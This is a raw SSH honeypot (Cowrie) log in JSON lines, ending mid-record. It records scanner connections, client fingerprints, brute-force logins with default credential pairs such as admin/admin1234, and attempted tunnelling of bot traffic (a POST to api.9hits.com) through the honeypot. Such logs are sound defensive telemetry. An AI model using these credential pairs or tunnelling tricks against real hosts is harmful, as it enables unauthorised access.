{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03wL\\x0f\\xaa\\xf5\\xd4;\\x91v\\xb9k@\\x98f-\\x023\\x97q\\xff\\xcf\\xa1\\xcf\\xec\\x1a\\xcf\\x8a\\x9b5\\xd4\\xfc\\xa2 \\xadvW\\xc8\\xad\\x88\\xc7\\xbe\\x03W\\x1a\\xae9\\xb0\\xfc\\xd9\\x81\\xe8\\xb0\\xdf\\x18\\x03bk\\x0c\\xb5\\xcc\\xa44u\\xb9$\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x12\\x92lx\\x05\\x89W:t\\xc1i\\xdaPZ\\x90J\\xb8\\x1ak\\xf5\\xa0\\xef\\xfe\\xd9;\\x0c\\xfb\\t\\xb9\\xe7\\xb0R\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03wL\\x0f\\xaa\\xf5\\xd4;\\x91v\\xb9k@\\x98f-\\x023\\x97q\\xff\\xcf\\xa1\\xcf\\xec\\x1a\\xcf\\x8a\\x9b5\\xd4\\xfc\\xa2 \\xadvW\\xc8\\xad\\x88\\xc7\\xbe\\x03W\\x1a\\xae9\\xb0\\xfc\\xd9\\x81\\xe8\\xb0\\xdf\\x18\\x03bk\\x0c\\xb5\\xcc\\xa44u\\xb9$\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x12\\x92lx\\x05\\x89W:t\\xc1i\\xdaPZ\\x90J\\xb8\\x1ak\\xf5\\xa0\\xef\\xfe\\xd9;\\x0c\\xfb\\t\\xb9\\xe7\\xb0R\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:02.300759Z","src_ip":"23.175.50.51","session":"dc96fb6b3391","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":30392,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e97d0a2163a","protocol":"ssh","message":"New connection: 91.92.40.36:30392 (159.203.135.109:22) [session: 5e97d0a2163a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:02.393586Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.46.222.137","src_port":63757,"dst_ip":"10.17.0.5","dst_port":22,"session":"97d8f3490c84","protocol":"ssh","message":"New connection: 38.46.222.137:63757 (10.17.0.5:22) [session: 97d8f3490c84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:02.583177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:02.588084Z","src_ip":"38.46.222.137","session":"97d8f3490c84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:02.663522Z","src_ip":"38.46.222.137","session":"97d8f3490c84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xbmc","password":"123456","message":"login attempt [xbmc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:03.154575Z","src_ip":"91.92.40.36","session":"f00a13494a4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":61752,"dst_ip":"10.17.0.5","dst_port":22,"session":"42afedd6af3d","protocol":"ssh","message":"New connection: 123.27.168.40:61752 (10.17.0.5:22) [session: 42afedd6af3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:03.903369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:03.908474Z","src_ip":"123.27.168.40","session":"42afedd6af3d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:04.100642Z","src_ip":"91.92.40.36","session":"5e97d0a2163a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:04.103969Z","src_ip":"91.92.40.36","session":"5e97d0a2163a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:04.142953Z","src_ip":"123.27.168.40","session":"42afedd6af3d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:04.705252Z","src_ip":"38.46.222.137","session":"97d8f3490c84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"4321","message":"login attempt [admin/4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:04.808388Z","src_ip":"91.92.40.36","session":"871078bcc3e2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:05.146852Z","src_ip":"123.27.168.40","session":"42afedd6af3d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:05.634907Z","session":"42afedd6af3d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:05.667260Z","session":"42afedd6af3d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:06.143743Z","src_ip":"123.27.168.40","session":"42afedd6af3d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.2.1 Mobile/17B90 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=UVFnME97I25wKV9lQFJkRQ%3D%3DOKQmTxUNrxLtuaW%2FzApCpekMo9UdaZPCtC4QUEQ1WBV%2FP3DPaaOwezDPTsNHcZqN%2FGxzcPS%2FbhQShq6Zt14ZERZD7af19D%2F51%2BH023ujQkgES4h%2BXf%2FZJRujnwyZR55CnSNIiPdb%2Fa26gJ0BayK4rn%2BoGEPyRG4rm7a5D3ah5WZnOd0lDAvPPCfEP5tLVyczVr5wS%2FqCvr7d3JalaX3Oh2v0t83taE1t%2Fyskm3036DjycoPG6jKUeSxBNFy%2B9hD70i4wtklfAyXzTPVc5ghyKIpSOwHTcDs9Gwmr%2BZTeLK1JAIg0%2B7iRDKPNu6%2BTC0tTDmrt%2FQDGJ9PTg3X8XldbaajNRo5mlr8PaYEqHHP3tbM%2Ff9IkPo%2F7CydsfZGDMs2gUsNuzw5fubD9fuo7v0BhDy68SRhz2av9bFbUO4K8%2F99STZrCurR4wSSkUDs%2FTdgSPWPmiMkN7dKFVY%2B6PPgJfZAqilF1K5J%2FyZOhehCtRuTOHhfWXol%2BjzoY1SL7whRSMswFluIDCyDkwAQ%2BXIFRzDqlKorJjkCI9RUfQO51%2BTbe21RIzSLvYAvKcHoHz6csFdH9oihTMQqvOv7%2F58TbRpQhPImvP%2FGF7OLQZXJcnqXR2MupoAPKdpExsm3a6CinYaCA%2BfifoU%2FN2S0XP1GnsIFkSNH5Pg442UFYxCXTRWYsv6AlmWmKpdbXEZmbgkclKHeefAc16ZYb1kqLKn8exPJzVcAOZUKC0L%2B2KSyONAbTMtDmBU3KGP2jCXSYry4OKv5UkdpYh1976BQFFIrnGGk%2BZgmfbAx5HXW%2FusmaYsLXZdCmBhN6%2BxmISSzy8vguwPVXF%2FTwH0EGslES%2FB1YBYBPmZiQqGNHwi3O0eyNvAiRfiXji1vow%2B%2B4pXKqO9SD9pLKkC3DXndR%2Fuue%2F4ZtDC3IIE56hgnENPYRmc6bAZ8IYeICyjabcXPQeOKQNcvFKeg%2Fb6IPkaHxMSklJ3rJgW4pUHpgmTLeCn1omfJ%2FZwyuoRR97LRt3WiG8v5nj7sF4fTtjBFKi5c44Lkd0sFqN6JgtddN5rI%2FTMLc7RX6Apc%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.2.1 Mobile/17B90 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=UVFnME97I25wKV9lQFJkRQ%3D%3DOKQmTxUNrxLtuaW%2FzApCpekMo9UdaZPCtC4QUEQ1WBV%2FP3DPaaOwezDPTsNHcZqN%2FGxzcPS%2FbhQShq6Zt14ZERZD7af19D%2F51%2BH023ujQkgES4h%2BXf%2FZJRujnwyZR55CnSNIiPdb%2Fa26gJ0BayK4rn%2BoGEPyRG4rm7a5D3ah5WZnOd0lDAvPPCfEP5tLVyczVr5wS%2FqCvr7d3JalaX3Oh2v0t83taE1t%2Fyskm3036DjycoPG6jKUeSxBNFy%2B9hD70i4wtklfAyXzTPVc5ghyKIpSOwHTcDs9Gwmr%2BZTeLK1JAIg0%2B7iRDKPNu6%2BTC0tTDmrt%2FQDGJ9PTg3X8XldbaajNRo5mlr8PaYEqHHP3tbM%2Ff9IkPo%2F7CydsfZGDMs2gUsNuzw5fubD9fuo7v0BhDy68SRhz2av9bFbUO4K8%2F99STZrCurR4wSSkUDs%2FTdgSPWPmiMkN7dKFVY%2B6PPgJfZAqilF1K5J%2FyZOhehCtRuTOHhfWXol%2BjzoY1SL7whRSMswFluIDCyDkwAQ%2BXIFRzDqlKorJjkCI9RUfQO51%2BTbe21RIzSLvYAvKcHoHz6csFdH9oihTMQqvOv7%2F58TbRpQhPImvP%2FGF7OLQZXJcnqXR2MupoAPKdpExsm3a6CinYaCA%2BfifoU%2FN2S0XP1GnsIFkSNH5Pg442UFYxCXTRWYsv6AlmWmKpdbXEZmbgkclKHeefAc16ZYb1kqLKn8exPJzVcAOZUKC0L%2B2KSyONAbTMtDmBU3KGP2jCXSYry4OKv5UkdpYh1976BQFFIrnGGk%2BZgmfbAx5HXW%2FusmaYsLXZdCmBhN6%2BxmISSzy8vguwPVXF%2FTwH0EGslES%2FB1YBYBPmZiQqGNHwi3O0eyNvAiRfiXji1vow%2B%2B4pXKqO9SD9pLKkC3DXndR%2Fuue%2F4ZtDC3IIE56hgnENPYRmc6bAZ8IYeICyjabcXPQeOKQNcvFKeg%2Fb6IPkaHxMSklJ3rJgW4pUHpgmTLeCn1omfJ%2FZwyuoRR97LRt3WiG8v5nj7sF4fTtjBFKi5c44Lkd0sFqN6JgtddN5rI%2FTMLc7RX6Apc%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:06.146750Z","src_ip":"123.27.168.40","session":"42afedd6af3d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:06.149954Z","src_ip":"123.27.168.40","session":"42afedd6af3d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03>\\x03\\x8b\\x89`\\xd3\\x87(\\x1f\\xc6\\xdfj\\xc0Y\\x17\\xfdB\\xd5\\xeff\\x81\\xa4\\x92TP\\x9e\\x9f\\x90\\xf5[\\xec\\xfb !I\\xe2\\xf2\\x82\\x13\\xd8n\\xb2\\xdf\\xa1v\\xeb\\xd2RJ-Cf\\x9c\\xfb\\xef\\xc8-\\x17e\\x91\\xf9\\xe9\\xf5[\\xea\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc7\\xce\\xa9\\xc1\\xf7\\xfc|_\\xbfK$(\\xf6+\\xb8\\xbe_\\x9f\\xfc\\xb3h\\x03\\xb2\\x93$\\xbdC6\\x07\\x96\\x99'\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data 